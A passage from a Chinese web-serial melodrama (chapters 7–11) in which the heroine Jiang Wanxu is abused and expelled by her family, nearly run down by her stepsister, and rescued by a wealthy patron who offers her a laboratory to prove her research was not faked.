“她现在被全网骂,工作也丢了,叶寒那边也断了她的经济来源,精神状态肯定不稳定。”
“我们可以向法院申请,以她‘精神失常,无法管理个人财产’为由,成为她的法定监护人。”
“到时候,她名下的股份,自然就由我们代为管理了。”
江晚絮的脑子里像是有什么东西炸开了。
她如坠冰窖,从头到脚,一片冰寒。
原来……
原来是这样。
他们不仅不爱她,不安慰她,甚至还在她最落魄的时候,像一群秃鹫,盘算着如何分食她最后的一点血肉。
亲情?
多么可笑的词。
她踉跄着后退一步,不小心撞到了身后的花瓶。
“哐当——”
清脆的碎裂声,在寂静的别墅里格外刺耳。
“谁在外面?!”
书房的门被猛地拉开。
江明澤和江芊妤看到门口脸色惨白、浑身颤抖的江晚絮,皆是一愣。
江芊妤眼中闪过一丝慌乱,但很快便被委屈的泪水取代。
“姐姐……你……你都听到了?”
江明泽的脸色则由错愕转为恼羞成怒。
背后算计人的阴暗心思被当场撞破,让他这位天之骄子感到了前所未有的难堪。
“你回来做什么?!”他厉声质问,试图用愤怒掩盖自己的心虚。
江晚絮看着他,那张曾让她感到无比亲近的脸,此刻却只剩下扭曲和狰狞。
她什么话都说不出来,转身就想逃。
这个地方,多待一秒,都让她感到窒息。
“站住!”江明泽几步上前,死死抓住她的胳膊,“偷听我们说话,现在就想走?”
“我没有偷听。”江晚絮的声音干涩沙哑。
“那你跑什么?!”江明泽见她这副死气沉沉的样子,心里的火气更盛。
他觉得,是江晚絮的存在,才让他变得如此不堪。
“既然你这么喜欢赖在江家,那我就帮你一把,让你彻底断了念想!”
江明泽拽着她,粗暴地冲上二楼,踹开她那个小小的房间。
房间里没什么东西,只有一个半旧的行李箱。
那是她从乡下带出来的,里面装着她所有的宝贝——母亲唯一的一张照片,外婆亲手缝制的布娃娃,还有……那满满一箱,她视若生命的研究手稿和笔记。
江明泽看也没看,拎起箱子,就往楼下走。
“哥,不要!”江晚絮疯了一样扑上去,想要抢回来。
第7章 死亡的阴影
“滚开!”
江明泽毫不留情地将她推开。
江晚絮的头重重的磕在墙角,眼前一阵发黑。
等她再回过神时,江明泽已经拎着箱子走到了别墅大门口。
门外,几个佣人刚把今天分类好的垃圾桶推到路边,准备等垃圾车运走。
其中一个,是装厨余的湿垃圾桶,桶盖敞开着,散发着阵阵酸腐的恶臭。
江明泽毫不犹豫地,将那个箱子高高举起,然后——
“砰!”
重重的,扔了进去。
箱子砸在湿滑的菜叶和果皮上,发出一声沉闷的声响。
时间,仿佛在这一刻静止。
江晚絮呆呆地看着那个在垃圾堆里半开的箱子,心脏像是被一只巨手狠狠捏碎。
“现在,你可以滚了。”江明泽拍了拍手,像是丢掉了一件真正的垃圾。
“以后别再回来,江家,没你这个人。”
说完,他转身,“砰”的一声,关上了那扇沉重的雕花大门。
将她彻底隔绝在外。
江晚絮像是没有听到他的话,她的眼里,只有那个垃圾桶。
她踉跄着,几乎是爬着冲了过去。
一股令人作呕的酸臭味扑面而来。
她没有丝毫犹豫,伸手就探了进去。
黏腻的汤汁,腐烂的菜叶,发馊的米饭……
这些东西糊了她满手满臂。
她却像感觉不到一样,只是疯了似的在里面翻找。
“找到了……找到了……”
终于,她的指尖触碰到了箱子坚硬的边缘。
她用尽全身的力气,将那个沾满了污秽的箱子,从恶臭的垃圾堆里拖了出来。
箱子没锁好,里面的东西散落了一半。
母亲的照片被剩菜汤汁浸泡得模糊不清。
外婆的布娃娃沾上了不知名的污渍。
而那些她最珍贵的手稿,一页页,全都被湿垃圾弄得又脏又黏。
江晚絮跪在地上,不顾一切地将手稿一张张捡起来,用自己的衣袖,小心翼翼地擦拭着上面的污垢。
她擦得很用力,仿佛要擦掉的不是垃圾,而是这些日子以来,她所承受的全部屈辱和伤害。
她紧紧地,紧紧地抱住那个破烂的箱子,像是抱着全世界。
这是她活下去的唯一念想。
是她证明自己价值的最后底牌。
她不能失去。
绝对不能。
当她拖着箱子和一身的臭味,回到那个没有监控的破旧短租屋时,心头一紧。
房门……虚掩着。
她明明记得自己锁好了。
一股强烈的不安涌上心头。
她猛地推开门。
屋内,被翻得一片狼藉。
不多的几件行李被扔得到处都是,床垫都被掀了起来。
江晚絮的目光,死死地盯在书桌上。
那里,空空如也。
她藏在书桌夹层里的备份U盘,和那台储存着所有实验数据的旧笔记本电脑……
不翼而飞。
“啊——!”
一声凄厉的尖叫,终于从江晚絮的喉咙里冲了出来。
她浑身的力气像是被瞬间抽空,瘫软在地。
巨大的恐慌,像一张密不透风的网,将她牢牢罩住。
怀里这份纸质手稿,成了她存在于这个世界、拥有价值的……最后证明。
唯一的,脆弱的,最后的证明。
江晚絮不知道自己是怎么走出那栋楼的。
她抱着那个破箱子,失魂落魄地走在偏僻无人的小路上。
天色阴沉,像是要下雨。
她漫无目的地走着,像一个被世界遗弃的孤魂野鬼。
一辆红色的保时捷从她身边疾驰而过。
车里的江芊妤,一眼就认出了路边那个狼狈不堪的身影。
还有她怀里紧紧抱着的那个……眼熟的箱子。
江芊妤的眼中闪过一丝讶异,随即是浓浓的嫉妒和怨毒。
都到这个地步了,她居然还护着那些破纸?
看来,里面还有很重要的东西。
江芊妤看了一眼路边的积水,一个恶毒的念头瞬间升起。
她猛地一打方向盘。
“哗啦——”
车轮高速碾过积水,溅起一道混杂着泥浆的巨大水花,从头到脚,狠狠地泼在了江晚絮的身上。
冰冷的污水,瞬间湿透了她单薄的衣衫。
刺骨的寒意,让她忍不住打了个哆嗦。
她甚至来不及去看开车的人是谁,就扑倒在地,用自己的身体,护住了怀里的箱子。
可还是晚了。
冰冷的泥水,已经渗透了箱子的缝隙,打湿了最上面的几页手稿。
“不……不要……”
江晚絮的眼泪,终于决堤。
她发疯似的打开箱子,用自己的衣袖擦拭着那些被打湿的手稿。
泪水混着脸上的泥水,一滴滴,落在泛黄的纸页上,晕开一个个小小的水圈。
她的狼狈,她的专注,她的绝望……
全都清晰地落入了后视镜里,江芊妤的眼中。
看到江晚絮那副比狗还不如的样子,江芊妤的心里涌起一阵病态的快感。
她又看了一眼四周。
这里是旧城区的待拆迁地带,偏僻,荒凉,最重要的是,这里一个监控摄像头都没有。
一个念头,瞬间爬上了她的心头。
让江晚絮,从这个世界上彻彻底底地消失!
这个念头一旦升起,就再也无法遏制。
江芊妤的脸上,闪过一抹与她娇弱外表截然不符的狠毒。
她挂上倒挡,调转车头。
然后,一脚油门,猛地踩到了底!
红色的跑车发出一声咆哮,像一头嗜血的猛兽,朝着蹲在地上、毫无防备的江晚絮,狠狠撞了过去!
风声呼啸。
死亡的阴影,瞬间笼罩。
江晚絮甚至还没来得及反应,只看到刺眼的车灯,和那张在驾驶座上扭曲而狰狞的脸。
就在这千钧一发之际——
“吱——!!!”
一道更为刺耳的急刹车声,划破了死寂的空气。
一辆通体漆黑的幻影,以一种极具压迫感的蛮横姿态,从侧面疾冲而来,不偏不倚,强行别停了江芊妤的保时捷!
两车交错,几乎是贴面而过。
那惊心动魄的距离,不过几厘米。
江芊妤吓得魂飞魄散,猛地踩下刹车,心脏几乎要从喉咙里跳出来。
她惊魂未定地看过去。
幻影的车门,被“砰”的一声推开。
一条被高定西裤包裹的大长腿,率先迈了出来。
紧接着,一道高大挺拔的身影,出现在她的视线里。
男人逆光而立,五官深邃如雕刻,周身散发着与生俱来的矜贵与冷傲,那双深不见底的黑眸,只是冷冽地瞥了她一眼。
仅仅一眼。
却像万年冰川,带着足以将人冻结的寒意和杀气。
江芊妤在那眼神中,看到了自己的渺小与狼狈。
恐惧瞬间攫住了她的心脏。
她认得这个男人……
京圈真正说一不二的太子爷,顾彦廷!
顾彦廷怎么会在这里?!
江芊妤的大脑一片空白,唯一的念头就是逃。
她手忙脚乱地挂挡,不顾一切地踩下油门,保时捷发出一声尖锐的嘶鸣,仓皇逃窜。
顾彦廷甚至没有再多看她一眼。
他快步走到江晚絮身边,蹲下了身子。
然后,他伸出那双骨节分明、堪比艺术品的手,和她一起,小心翼翼地将那些散落在地上的手稿,一页,一页的,轻轻捡起。
在极度的贫血、寒冷和惊吓中,江晚絮的视线早就已经模糊。
她看不清男人的脸。
只感觉一个高大而温暖的身影,笼罩了她。
手稿被一张张整理好,重新放回她的怀里。
然后,她感觉自己被一双强而有力的臂膀,轻柔地抱了起来。
彻底失去意识前,江晚絮的脑海里,只剩下三个无比清晰的印记。
一股清洌安稳的雪松香气,强势地包裹了她所有的感官。
一个让她安心到想哭的温暖怀抱。
以及,她那沓被如此珍重对待的、破烂的手稿。
第8章 聘请
意识,是在一阵尖锐的胃痉挛中回笼的。
紧接着,是浑身上下无处不在的钝痛。
江晚絮费力地睁开眼。
映入眼帘的,不是那个破旧短租屋的天花板,也不是冰冷泥泞的马路。
而是一盏……极尽繁复奢华的水晶吊灯,折射着钻石般璀璨的光。
她在哪?
大脑宕机了三秒。
记忆的碎片如潮水般涌来——江明泽的狠毒,垃圾桶的恶臭,江芊妤那张扭曲的脸,还有……最后那辆横冲直撞、要将她碾成肉泥的保时捷。
她猛地坐了起来。
动作太大,牵扯到身上的伤口,疼得她倒抽一口凉气。
她环顾四周。
这是一个大到不像话的卧室。
天鹅绒的窗帘垂落地面,质感厚重。手织的羊毛地毯柔软得能陷进脚踝。
空气中弥漫着清冽的雪松香气,和她昏迷前闻到的味道,一模一样。
这里的一切,都透着一种低调而极致的奢华,与她之前那个连房租都付不起的破旧旅馆,形成了惨烈到刺眼的对比。
强烈的、铺天盖地的不真实感和惶恐,瞬间攫住了她。
她低下头,这才发现自己身上穿的,不是那件沾满泥污的旧衣服。
而是一件……质地丝滑的真丝睡衣。
陌生的。
昂贵的。
这个发现,像一盆冰水,从头浇到脚。
江晚絮的血色瞬间褪尽,她几乎是颤抖着、惊慌地掀开被子,检查自己的身体。
睡衣完好无损。
身上除了旧有的伤痕,没有任何被侵犯的迹象。
确认这一点后,她紧绷到极点的神经,才略微松懈下来。
整个人像是被抽走了所有力气,瘫软回床上。
可随即,一股比恐惧更深的悲哀,涌上了心头。
她竟然……
她竟然会第一时间,怀疑自己遭遇了那种事。
这五年,叶寒和江家的人,究竟把她逼成了一个什么样的人?
连最基本的安全感都丧失了,像一只受惊的鸟,对任何一点风吹草动都感到恐慌。
她的目光开始急切地在房间里搜寻。
不是在找人,也不是在找逃生的出口。
而是在找……她的那个破箱子。
她的手稿……
最终,她的视线,定格在了床头柜上。
那里没有破旧的行李箱。
却有一沓……整整齐齐的纸。
是她的手稿。
江晚絮连鞋都来不及穿,赤着脚就冲了过去,像是看到了失而复得的珍宝。
她的指尖,颤抖着抚上那沓纸。
然后,她愣住了。
那些被泥水浸泡过、变得皱皱巴巴、污秽不堪的手稿,此刻,竟然每一页都变得平整如新。
像是被最专业的机器,一页一页,小心翼翼地处理过。
虽然一些字迹的边缘,因为水渍的侵染,还是留下了淡淡的、模糊的痕迹,但上面的每一个公式,每一个图样,都清晰可辨。
它们被按照原本的顺序,整齐地码放在一起。
旁边,还静静地放着一个全新的、一看就价值不菲的手机。
手机下面,压着一张打印出来的便签。
上面只有一行字,字体沉稳有力。
「物归原主,请安心休养。」
江晚絮看着那行字,又看看手边被珍重对待的手稿,眼眶猛地一热。
这世上,有人视她的心血为垃圾,毫不犹豫地扔进肮脏的垃圾桶。
也有人,将它们从污秽中拾起,用最郑重的方式,归还给她。
这份……对她知识和心血的极致尊重,像一颗精准的子弹,瞬间击中了她最柔软的心防。
“咚咚咚。”
敲门声响起。
江晚絮迅速擦掉眼角的湿意,警惕地开口:“谁?”
“江小姐,您好,我是林易,顾先生的特助。”门外的声音温和而恭敬,“您醒了吗?医生马上就到。”
顾先生?
江晚絮脑海里一片空白,完全搜索不到这个姓氏。
她攥紧了手稿,哑声说:“请进。”
门被推开,一个穿着得体西装、戴着金丝眼镜的男人走了进来,身后跟着一位提着医药箱的家庭医生。
林特助对她微微颔首,脸上带着职业化的微笑,恰到好处,不让人感到冒犯。
“江小姐,您昏迷了两天,身上有多处软组织挫伤,还有些低烧。顾先生吩咐,让医生先为您检查一下。”
江晚絮没有拒绝。
她知道,自己现在这副身体,根本没有说“不”的资格。
经过一番检查,确认没有大碍,只是长期营养不良加上过度劳累和惊吓所致后,医生开了药,便被林特助礼貌地请了出去。
房间里,只剩下他们两人。
江晚絮强撑着虚弱的身体,从床上下来,对着林特助,深深地鞠了一躬。
“林特助,谢谢你,也替我谢谢顾先生的救命之恩。”
“但是……”
她抬起头,目光虽然黯淡,却透着一股不容置喙的坚定。
“我必须马上离开。”
林特助似乎早就料到她会这么说,脸上没有丝毫意外。
“江小姐,您不必如此戒备。您是顾先生的客人,在这里,您是绝对安全的。”
安全?
江晚絮在心里自嘲地笑了。
这两个字,对她来说早就成了奢侈品。
江家、叶家,那些她曾经以为最安全的地方,却给了她最致命的伤害。
他们用血淋淋的教训告诉她:这个世界上,从来没有无缘无故的好。
所有的馈赠,都在暗中标好了价格。
她怕。
她怕这又是某个精心设计的、华丽的陷阱。
她更怕,自己欠下根本还不起的债。
“林特助,”江晚絮的声音很轻,却异常清晰,“我很感激顾先生的善举。但我已经有了去处。”
她顿了顿,给自己找了一个理由。
“瑞澜研究院的林博士,已经正式向我发出了邀请。我过几天,就要去入职了。”
除了入职这件事是瞎说,她也不算说谎。林博士是她已故母亲的挚友,也是业内少数几个真正欣赏她才华的前辈。
在她嫁给叶寒,几乎要放弃学术的那几年,是林博士一次又一次地打电话劝她,让她不要丢掉自己的专业。
瑞澜研究院,是她心中最后的学术净土,也是她最后的情感寄托。
听到“瑞澜研究院”,林特助的眼中闪过一丝了然。
他并没有强留,只是将一份文件,递到了江晚絮面前。
“江小姐,顾先生完全知晓您目前的处境。”
他的声音依旧温和,说出的话,却让江晚絮的心狠狠一沉。
“包括,叶寒先生动用关系对您进行的全行业封杀。网络上至今没有平息的、针对您的舆论暴力。”
“也包括……江家打算以‘精神失常’为由,侵吞您名下财产的计划。”
江晚絮的脸色,一寸寸变得惨白。
这些她拼命想要掩藏的、最狼狈不堪的伤疤,就这么被轻描淡写地揭开了。
原来,她所有的挣扎和绝望,都在别人的眼皮子底下。
她像一个透明人,无所遁形。
见她浑身戒备的样子,林特助立刻表明了来意。
他郑重地,将那份文件推到她面前。
“江小姐,请不要误会。我只是想代表顾先生,正式向您提出一份聘请。”
第9章 唯一的温暖
聘请?
江晚絮愣住了。
她现在身败名裂,被整个行业唾弃,谁会聘请她?
林特助的语气,带上了一种不容置疑的郑重。
“顾先生说,他投资的不是你的过去,而是你毋庸置疑的未来。”
“……”
江晚絮的心,像是被什么东西重重地撞了一下。
投资她的未来?
这句话,比任何一句安慰和同情,都更能撼动她的心。
可是……
“对不起,林特助,我……”她艰难地开口,理智让她不能轻易动摇。
林特助似乎对她的拒绝毫不意外,然后,他抛出了那个让她根本无法拒绝的方案。
“江小姐,我们并非强求您立刻入职。”
“我们只是想为您提供一个……自证清白的平台。”
他站起身,走到窗边,按下一个按钮。
厚重的天鹅绒窗帘,缓缓向两侧拉开。
窗外,根本不是什么花园或者城市景观。
而是一个……巨大到超乎想象的……实验室!
透过纤尘不染的落地玻璃,可以看到里面一排排顶尖的精密仪器,闪烁着代表科技最高水平的冷光。
无数穿着白大褂的研究员,正在各自的岗位上,有条不紊地忙碌着。
那场面,比江晚絮见过的任何一个国家级实验室,都更具规模,也更具未来感。
江晚絮被眼前的景象,彻底震撼了。
“这是‘天枢’实验室,隶属于顾先生名下的‘寰宇科技’。”林特助的声音,带着一丝不易察觉的骄傲。
“这里拥有全球最顶尖的超算中心,和最前沿的科研设备。您可以即刻拥有它的最高使用权限,并且,我们会为您配备一支由行业顶尖人才组成的科研团队,全力配合您。”
“目的只有一个——”
林特助转过身,目光灼灼地看着她。
“帮助您,在最短的时间内,复现您的实验,拿出无可辩驳的证据。”
江晚絮的大脑一片轰鸣。
她听到了什么?
顶级实验室?
全套科研团队?
即刻为她服务?
这……
这已经不是雪中送炭了。
这是直接把一座烧得暖烘烘的、还附赠全套生活物资的城堡,搬到了她这个快要冻死在冰天雪地里的乞丐面前。
她下意识地问:“条件呢?”
她不信,会有这么好的事。
“唯一的‘条件’,”林特助微微一笑,“是希望您在未来的专利合作上,能够优先考虑‘寰宇科技’。”
这个条件,听起来简直就像是……一个善意的玩笑。
江晚絮怔怔地看着他,嘴唇动了动,却发不出任何声音。
林特助看着她苍白脆弱的脸,收起了脸上的微笑,语气变得无比诚恳,无比郑重。
“江小姐,您可能不相信我们。但请您相信我们的判断力。”
“寰宇科技的法务部和技术顾问团,在事发后第一时间,就对您和江芊妤小姐的论文进行了交叉对比和技术溯源。”
“结论是——”
他一字一顿,每一个字,都像是砸在江晚絮心上的重锤。
“我们相信,您,不会学术造假。”
我们相信你。
这句话,像一道温暖的激流,瞬间冲垮了她用冷漠和坚硬伪装起来的所有防备。
叶寒不信她。
她的父亲,她的哥哥们,她掏心掏肺对待的亲人,没有一个人信她。
他们只会指责她,辱骂她,将所有的脏水都泼到她的身上。
可现在,一个素未谋面的陌生人,却用最理性的方式,给了她最绝对的信任。
这份信任,比任何珍宝都来得可贵。
也比任何刀刃,都更能刺穿她的心脏。
江晚絮再也撑不住了。
她低下头,不想让任何人看到自己的脆弱。
可眼泪,却还是不争气的,一颗一颗,无声地砸落下来。
滴在那昂贵的、柔软的羊毛地毯上,洇开一小片深色的痕迹。
她没有哭出声。
不是为了博取同情,也不是故作坚强。
这只是……长久以来,积压在心底的所有委屈、不甘、愤怒和绝望,在这一刻,找到了一个宣泄的出口。
林特助静静地站在一旁,没有打扰,也没有递上纸巾。
他知道,她需要的不是安慰,而是释放。
许久。
江晚絮才抬起头,眼睛红得像兔子,声音因为哽咽而沙哑得不成样子。
她看着林特助,像是用尽了全身的力气,说出了那三个字。
“好。”
“我……答应。”
实验室的另一侧。
一间被单向玻璃隔开的观察室里。
顾彦廷静静地站着,高大挺拔的身影,几乎与阴影融为一体。
他看着屏幕上那个瘦弱的、颤抖的肩膀,看着她拼命忍住哭泣、却还是泪流满面的样子,那双深不见底的黑眸里,翻涌着滔天的心疼与怒意。
欣慰,是因为她终于肯接受他的帮助。
愤怒,是因为那些该死的人,竟然将他放在心尖上疼了那么多年的姑娘,伤到了如此地步。
连接受一点善意,都变得如此小心翼翼,如此如履薄冰。
叶寒。
江家。
他放在身侧的手,缓缓收紧,骨节因为用力而泛白。
等着。
他会让他们,百倍、千倍的,偿还回来。
当江晚絮真正踏入那间堪比梦想的“天枢”实验室时,还是被深深地震撼了。
她像一个误入糖果屋的孩子,抚摸着那些只在顶级学术期刊上见过的顶尖设备,指尖都在微微发颤。
超高分辨率的多光谱成像仪,能够捕捉到肉眼无法识别的、最细微的颜料层信息。
基于神经网络的超算集群,能将她算法的运算效率,提升上千倍。
还有全自动化的数据采集和分析系统……
这里的一切,都是她作为一个科研人员,最极致的梦想。
而现在,这些梦想,全都触手可及。
她的心中,对那位素未谋面的“顾先生”,充满了难以言喻的感激。
她将这一切,都理解为一次纯粹的、眼光毒辣的战略投资。
毕竟,她的研究成果一旦被证实,其商业价值和战略意义,都不可估量。
这位顾先生,是在她价值最低谷的时候,进行了一次风险投资。
但无论如何,这份知遇之恩,已经足够她铭记一生。
她努力地在记忆里搜寻,想要找出关于这位“顾先生”的蛛丝马迹。
可惜,她想了很久,也没想到自己与这位“顾先生”之间有过什么交集。
可顾彦廷的记忆深处,却一直都有一个无法磨灭的画面。
那是一个大雨滂沱的深夜,蜷缩在小巷角落,浑身是伤的落魄少年……
以及那个,分给他半片面包的少女……
第10章 姐姐,你为什么推我?
在“天枢”实验室安顿下来的第三天,江晚絮还是做了一个决定。
她要回一趟江家。
不是为了求和,也不是为了理论。
是为了拿回……母亲留给她唯一的东西。
那个被她藏在阁楼最深处,落了灰的旧木箱。
里面有母亲亲手为她缝制的一条连衣裙,还有她儿时所有的照片。
那是她在这个世界上,最后的一点念想和温暖。
顾彦廷似乎早就猜到了她的想法,特助林易委婉地提出可以派人代劳。
江晚絮拒绝了。
这是她自己的事。
她必须亲手拿回来。
林易没有再劝,只是派了车将她送到江家别墅区外。
看着那栋熟悉的、却又无比冰冷的建筑,江晚絮深吸了一口气,拖着尚未痊愈的身体,一步一步走了过去。
她以为,这个时间点,家里应该没人。
可当她用旧密码打开大门,踏入那个奢华却毫无温度的客厅,一道尖锐又故作惊喜的声音就响了起来。
“姐姐!你终于回来了!”
江芊妤像一只花蝴蝶,从二楼的旋转楼梯上飞奔下来。
她穿着一身粉色的奢侈品套装,妆容精致,看起来光彩照人。
与江晚絮身上那件林易临时准备的、朴素的白衬衫和牛仔裤,形成了鲜明的对比。
江芊妤一把抓住江晚絮的手臂,脸上挂着天真无邪的担忧。
“姐姐,你这两天去哪儿了?我们都快担心死了!”
“前几天那个开车的男人是谁呀?他把你带去哪里了?我们给你打电话也打不通,还以为你出了什么意外……”
她的声音不大不小,刚好能让屋里所有人都听得一清二楚。
语气无辜到了极点,眼神里却闪烁着淬了毒的、恶意的试探。
每一个字,都在巧妙地将顾彦廷的救助,扭曲成一桩不清不楚、见不得光的男女关系。
江晚絮的胃里一阵翻涌。
她想抽回自己的手,却被江芊妤死死攥住。
果然,下一秒,一道冰冷厌恶的声音从沙发处传来。
是她的大哥,江明泽。
他放下了手中的学术期刊,推了推鼻梁上的金丝眼镜,镜片后的那双眼睛,看她就像在看什么脏东西。
“江晚絮,你还有脸回来?”
“刚跟叶寒闹离婚,就这么迫不及待地攀附上别的男人了?”
“你就不能检点一些吗?非要把江家的脸都丢尽了才甘心?!”
旁边,正在打游戏的三弟江明宇闻言,嗤笑一声,将手机往旁边一扔,满脸的鄙夷和不屑。
“大哥,你跟她废话什么?”
他上下打量着江晚絮,眼睛里满满的嫌弃。
“野鸡就是野鸡,飞上枝头也变不成凤凰。”
“骨子里就是下贱,没教养的东西!我看那个男人,也不是什么好货色吧?不然怎么会看得上你这种人?”
恶毒的话,像是一把把淬了毒的刀子,直直插进江晚絮的心脏。
她浑身发冷,连指尖都在颤抖。
她试图解释,声音因为虚弱和极致的愤怒而变得沙哑。
“我没有……不是你们想的那样……”
“是有人……救了我……”
然而,她的声音,瞬间就被更激烈的嘲讽和辱骂淹没了。
“救了你?哈!”江明宇像是听到了天大的笑话,“怎么没见有人救我?人家凭什么救你?还不是看你长了一张狐狸精的脸!”
江明泽更是冷哼一声,眼里的厌恶几乎要溢出来。
“够了,江晚絮。别再编这些可笑的谎言了。”
“你是什么样的人,我们还不清楚吗?为了往上爬,不择手段,连学术造假这种事都做得出来,还有什么是你做不出来的?”
谎言……
不择手段……
江晚絮看着眼前这两个血脉相连的亲人,只觉得荒谬又可悲。
原来在他们心里,她就是这样一个人。
一个字,他们都不愿意信。
就在这时,江芊妤那“善解人意”的声音又响了起来。
她松开江晚絮,走到两个哥哥面前,一副泫然欲泣的模样。
“大哥,三哥,你们别这么说姐姐了……”
“姐姐她……她一定是有什么苦衷的……”
“姐姐无依无靠,心里肯定很难过……我们是家人,应该多体谅她才对……”
她说着,又转过身,假惺惺地要来搀扶江晚絮。
“姐姐,你别跟哥哥们生气,他们也是关心你……来,我扶你到沙发上坐一会儿……”
那只涂着粉色蔻丹的手,再次朝着她的手臂伸了过来。
看着那张虚伪的脸,闻着她身上那股甜腻的香水味,江晚絮胃里翻搅得更厉害了。
在江芊妤的手即将触碰到她的那一瞬间,江晚絮如同被毒蛇咬了一口,猛地向后退了一步,用力地甩开了她的手。
“别碰我!”
这一声,几乎用尽了她全身的力气。
而就在这一瞬间——
江芊妤仿佛被一股巨大的力量狠狠推了一把,整个人发出一声凄厉的惊叫,向后踉跄着倒去。
她的身体,以一个极其夸张而诡异的角度,直直地撞向了客厅中央那个棱角分明的玻璃茶几。
“砰——!”
一声闷响。
江芊妤的额角,不偏不倚,“恰好”磕在了茶几上。
时间,仿佛在这一刻静止了。
江晚絮甚至能清晰地看到,鲜红的血液,是如何从江芊妤光洁的额头上瞬间涌出,顺着她惨白的脸颊,蜿蜒而下。
那画面,触目惊心。
“啊——!”
江芊妤捂着额头,发出了足以刺破耳膜的惨叫,眼泪像断了线的珠子一样滚落。
“姐姐……你……你为什么要推我……”
“我知道你不喜欢我……可我只是想关心你啊……你怎么能……”
她哭得梨花带雨,上气不接下气,仿佛随时都会晕厥过去。
江明泽和江明宇的脸色,瞬间就变了。
“芊妤!”
江明宇第一个冲了过去,一把将江芊妤抱进怀里,看着她额头上不断涌出的鲜血,眼睛都红了。
他猛地抬起头,像一头被激怒的野兽,死死地瞪着江晚絮。
“江晚絮!你这个毒妇!你他妈的找死!”
江明泽也快步上前,从口袋里掏出手帕,小心翼翼地按住江芊妤的伤口,脸色阴沉得能滴出水来。
“江晚絮!你简直是疯了!”
第11章 垃圾都不如
江晚絮站在原地,浑身冰冷。
她看着眼前这荒唐的一幕,看着那两个对她怒目而视的哥哥,只觉得喉咙里像是被堵了一团棉花,一个字都说不出来。
她没有推她。
她甚至连她的衣角都没有碰到。
可谁会信呢?
在这个家里,她的话,从来都一文不值。
楼上的骚动,终于惊动了书房里的江父。
“吵什么吵!家里是菜市场吗?!”
伴随着一声威严的怒喝,江父沉着脸从书房走了出来。
当他看到被江明宇抱在怀里,满脸是血,哭得撕心裂肺的江芊妤时,瞳孔猛地一缩。
“芊妤!这是怎么回事?!”
江明宇立刻添油加醋地指着江晚絮,恶狠狠地告状。
“爸!你问她!问你这个好女儿!”
“我们不过是问了她两句这两天去哪了,她就发疯一样,把芊妤推倒撞在了桌角上!”
“爸,你看芊妤流了这么多血!这个贱人是想杀了芊妤啊!”
江父的目光,像利剑一样射向江晚絮。
那目光里,没有一丝一毫的怀疑,只有滔天的怒火和极致的厌恶。
他根本不问缘由,不听解释,指着江晚絮的鼻子,厉声咒骂。
“孽女!你把江家的名声都败坏了还不够!”
“现在还要跑回家里来,残害自己的姐妹了吗?!”
“你的心是什么做的?是石头做的吗?江家的脸,都被你这个扫把星给丢尽了!”
残害姐妹……
扫把星……
一句句,一声声,像是最沉重的铁锤,狠狠地砸在江晚絮早已千疮百孔的心上。
她看着眼前这个男人,她的亲生父亲。
看着他因为愤怒而涨红的脸,看着他眼中那毫不掩饰的嫌恶。
心,在那一刻,彻底冷了,碎了,变成了碾落一地的尘埃。
她忽然就不想解释了。
也懒得再辩解了。
对一群从来不相信你的人,解释,又有什么用呢?
不过是自取其辱罢了。
她不再说话,只是用一双空洞而冰冷的眼睛,静静地看着他们。
看着他们每一个人。
看着江芊妤躲在江明宇怀里,投来的那个得意的、挑衅的眼神。
看着江明泽那副痛心疾首、仿佛她是家族罪人的模样。
看着江明宇那恨不得将她生吞活剥的凶狠。
也看着……她父亲那张,因为暴怒而扭曲的脸。
这就是她的“家人”。
多么可笑。
她这副“冥顽不灵”、“死不悔改”的样子,更是彻底激怒了江父。
江明宇在一旁大声撺掇:“爸!不能再让她待在家里了!她就是个疯子!是个祸害!把她赶出去!”
江父的胸膛剧烈地起伏着,他指着大门的方向,用尽全身力气吼道。
“滚——!”
“我们江家,没有你这种心肠歹毒、不知廉耻的女儿!”
“你给我滚出去!永远别再回来,脏了我们江家的地!”
江晚絮的身体,微微晃了晃。
但她站住了。
她甚至还扯了扯嘴角,露出一个比哭还难看的笑。
她什么都没说,转过身,就朝着门口走去。
这个地方,她早就该离开了。
“站住!”江明泽冷冷地叫住了她。
他对着旁边吓得瑟瑟发抖的佣人使了个眼色。
“把她的东西,扔出去。”
那个佣人不敢违抗,连忙跑过去,拎起江晚絮的那个小小的行李箱。
佣人走到门口,像是扔垃圾一样,将那个行李箱粗暴地扔出了大门。
“砰”的一声,箱子砸在冰冷坚硬的地面上,弹了一下,锁扣应声而开,几件洗得发白的旧衣服,散落一地。
像她此刻的人生一样,狼狈不堪。
夜色寒凉如水。
江晚絮站在江家别墅的大门外,看着那扇雕花的、厚重的铁门,在自己面前,缓缓的、无情地关上。
彻底隔绝了里面所有的“温暖”和“亲情”。
她刚刚签下离婚协议,被赶出叶家。
她本以为,血脉至亲,是她在这个世界上最后的退路。
可如今,她成了真正意义上的,孤家寡人。
冷风吹来,卷起地上的落叶,也吹透了她单薄的衣衫。
她低头,看了看被扔在地上的行李箱,和那几件散落的衣服。
原来,她连一件垃圾都不如。
垃圾,至少还能被扔进垃圾桶。
而她,连同她那点可怜的自尊,被毫不留情地扔在了大马路上。
她默默地走过去,蹲下身,将那些衣服一件一件地叠好,重新塞回箱子里。
合上箱盖,扣上锁扣。
整个过程,她没有掉一滴眼泪。
不是不痛。
是痛到麻木了,连哭的力气都没有了。
心里的那个窟窿,被寒风灌满,呼啸作响。
母亲的遗物……
终究还是没能拿回来。
她抬起头,最后看了一眼那栋灯火通明的别墅,然后拉着行李箱,转身,走入无边的夜色。
身无分文。
无家可归。
她掏出林易给她的那部新手机,屏幕亮了一下,然后就因为电量耗尽,彻底黑了下去,仿佛在无情地嘲笑着她此刻的窘迫。
她不知道自己在冰冷的街头走了多久。
双腿像灌了铅一样沉重,身上的伤口在隐隐作痛。
路灯将她的影子拉得很长很长,孤独得像一个游魂。
最终,她在一个街角的公共电话亭前,停下了脚步。
她摸遍了身上所有的口袋,才终于找出几枚硬币。
颤抖着手,将硬币投了进去。
然后,凭着记忆,拨通了那个熟悉的号码。
电话响了很久,才被接通。
“喂?哪位?”电话那头,传来一个清脆爽朗的女声。
是她的大学同学,也是她唯一的朋友,苏洛敏。
听到那个声音的瞬间,江晚絮一直强撑着的、坚硬的外壳,顷刻间土崩瓦解。
她的喉咙像是被什么东西死死地堵住了,鼻子一酸,眼眶瞬间就红了。
她张了张嘴,却发不出任何声音。
“喂?说话呀?再不说话我挂了啊!”苏洛敏在那头咋咋呼呼地说。
江晚絮用力地吸了吸鼻子,拼命地将眼泪憋回去,才终于挤出几个破碎的音节。
她的声音,沙哑得几乎不像她自己。
“洛敏……”
“是……是我……”
“我……可以……可以去你那里,住几天吗?”
电话那头,瞬间安静了。
